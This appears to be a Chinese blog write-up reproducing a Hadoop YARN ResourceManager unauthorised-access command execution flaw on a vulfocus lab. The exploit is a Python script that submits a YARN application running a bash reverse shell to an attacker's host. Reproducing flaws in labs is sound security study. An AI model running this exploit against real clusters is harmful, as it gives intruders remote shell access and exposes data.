hadoop未授权访问命令执行漏洞复现-vulfocus

2024-06-11 03:44

本文主要是介绍hadoop未授权访问命令执行漏洞复现-vulfocus,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1 介绍

Hadoop YARN(Yet Another Resource Negotiator)的ResourceManager是集群资源管理的核心组件,负责分配和管理集群资源以及调度作业。如果ResourceManager出现未授权访问漏洞,可能允许未经认证的用户访问或操作集群资源,这可能会导致数据泄露、资源滥用或拒绝服务攻击。在这个复现中就是在组件的ui界面上出现了未授权访问漏洞

2 涉及版本

hadoop **3.3.0**以下

vulfocus上的是2.8.1版本

3 复现

vulfocus打开靶机

这个地方有映射关系,8088是hadoop的"All Applications"页面,通常不是一个单独的组件,而是Hadoop生态系统中某些组件的用户界面(UI)的一部分,它可能用于展示和管理集群中的各种应用程序。

待会我们需要利用exp对这个页面/cluster/apps进行未授权漏洞的攻击

参考exp:https://www.cnblogs.com/cute-puli/p/14944637.html

`#!/usr/bin/env python  import requests  target = 'http://123.58.224.8:31840/'  目标网址
lhost = '用来反弹的ip' # put your local host ip here, and listen at port 9999  url = target + 'ws/v1/cluster/apps/new-application'  
resp = requests.post(url)  
app_id = resp.json()['application-id']  
url = target + 'ws/v1/cluster/apps'  
data = {  'application-id': app_id,  'application-name': 'get-shell',  'am-container-spec': {  'commands': {  'command': '/bin/bash -i >& /dev/tcp/%s/反弹到的端口号 0>&1' % lhost,  },  },  'application-type': 'YARN',  
}  
requests.post(url, json=data)

由于我中间出去吃饭了,所以前后靶机ip有变化了因为要反弹shell,所以你的外网机需要开一下对应的端口这个已经有反应了,但是我外网机上面没收到,明明添加了安全组但是却没收到shell

解决:解决阿里云的端口添加安全组仍然无法扫描到-CSDN博客

要先监听到端口,这个端口绑定了服务才可以扫描和访问上

这样就可以了,已经反弹过来了
我们根据vulfocus的提示查看env环境变量,我这里是退回到根目录了

这篇关于hadoop未授权访问命令执行漏洞复现-vulfocus的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1050108

相关文章

Linux join命令的使用及说明

《Linuxjoin命令的使用及说明》`join`命令用于在Linux中按字段将两个文件进行连接,类似于SQL的JOIN,它需要两个文件按用于匹配的字段排序,并且第一个文件的换行符必须是LF,`jo... 目录一. 基本语法二. 数据准备三. 指定文件的连接key四.-a输出指定文件的所有行五.-o指定输出

Linux jq命令的使用解读

《Linuxjq命令的使用解读》jq是一个强大的命令行工具,用于处理JSON数据,它可以用来查看、过滤、修改、格式化JSON数据,通过使用各种选项和过滤器,可以实现复杂的JSON处理任务... 目录一. 简介二. 选项2.1.2.2-c2.3-r2.4-R三. 字段提取3.1 普通字段3.2 数组字段四.

Linux kill正在执行的后台任务 kill进程组使用详解

《Linuxkill正在执行的后台任务kill进程组使用详解》文章介绍了两个脚本的功能和区别,以及执行这些脚本时遇到的进程管理问题,通过查看进程树、使用`kill`命令和`lsof`命令,分析了子... 目录零. 用到的命令一. 待执行的脚本二. 执行含子进程的脚本,并kill2.1 进程查看2.2 遇到的

java中ssh2执行多条命令的四种方法

《java中ssh2执行多条命令的四种方法》本文主要介绍了java中ssh2执行多条命令的四种方法,包括分号分隔、管道分隔、EOF块、脚本调用,可确保环境配置生效,提升操作效率,具有一定的参考价值,感... 目录1 使用分号隔开2 使用管道符号隔开3 使用写EOF的方式4 使用脚本的方式大家平时有没有遇到自

mybatis直接执行完整sql及踩坑解决

《mybatis直接执行完整sql及踩坑解决》MyBatis可通过select标签执行动态SQL,DQL用ListLinkedHashMap接收结果,DML用int处理,注意防御SQL注入,优先使用#... 目录myBATiFBNZQs直接执行完整sql及踩坑select语句采用count、insert、u

Linux命令rm如何删除名字以“-”开头的文件

《Linux命令rm如何删除名字以“-”开头的文件》Linux中,命令的解析机制非常灵活,它会根据命令的开头字符来判断是否需要执行命令选项,对于文件操作命令(如rm、ls等),系统默认会将命令开头的某... 目录先搞懂:为啥“-”开头的文件删不掉?两种超简单的删除方法(小白也能学会)方法1:用“--”分隔命

一个Java的main方法在JVM中的执行流程示例详解

《一个Java的main方法在JVM中的执行流程示例详解》main方法是Java程序的入口点,程序从这里开始执行,:本文主要介绍一个Java的main方法在JVM中执行流程的相关资料,文中通过代码... 目录第一阶段:加载 (Loading)第二阶段:链接 (Linking)第三阶段:初始化 (Initia

Redis 的 SUBSCRIBE命令详解

《Redis的SUBSCRIBE命令详解》Redis的SUBSCRIBE命令用于订阅一个或多个频道,以便接收发送到这些频道的消息,本文给大家介绍Redis的SUBSCRIBE命令,感兴趣的朋友跟随... 目录基本语法工作原理示例消息格式相关命令python 示例Redis 的 SUBSCRIBE 命令用于订

防止Linux rm命令误操作的多场景防护方案与实践

《防止Linuxrm命令误操作的多场景防护方案与实践》在Linux系统中,rm命令是删除文件和目录的高效工具,但一旦误操作,如执行rm-rf/或rm-rf/*,极易导致系统数据灾难,本文针对不同场景... 目录引言理解 rm 命令及误操作风险rm 命令基础常见误操作案例防护方案使用 rm编程 别名及安全删除

Java使用jar命令配置服务器端口的完整指南

《Java使用jar命令配置服务器端口的完整指南》本文将详细介绍如何使用java-jar命令启动应用,并重点讲解如何配置服务器端口,同时提供一个实用的Web工具来简化这一过程,希望对大家有所帮助... 目录1. Java Jar文件简介1.1 什么是Jar文件1.2 创建可执行Jar文件2. 使用java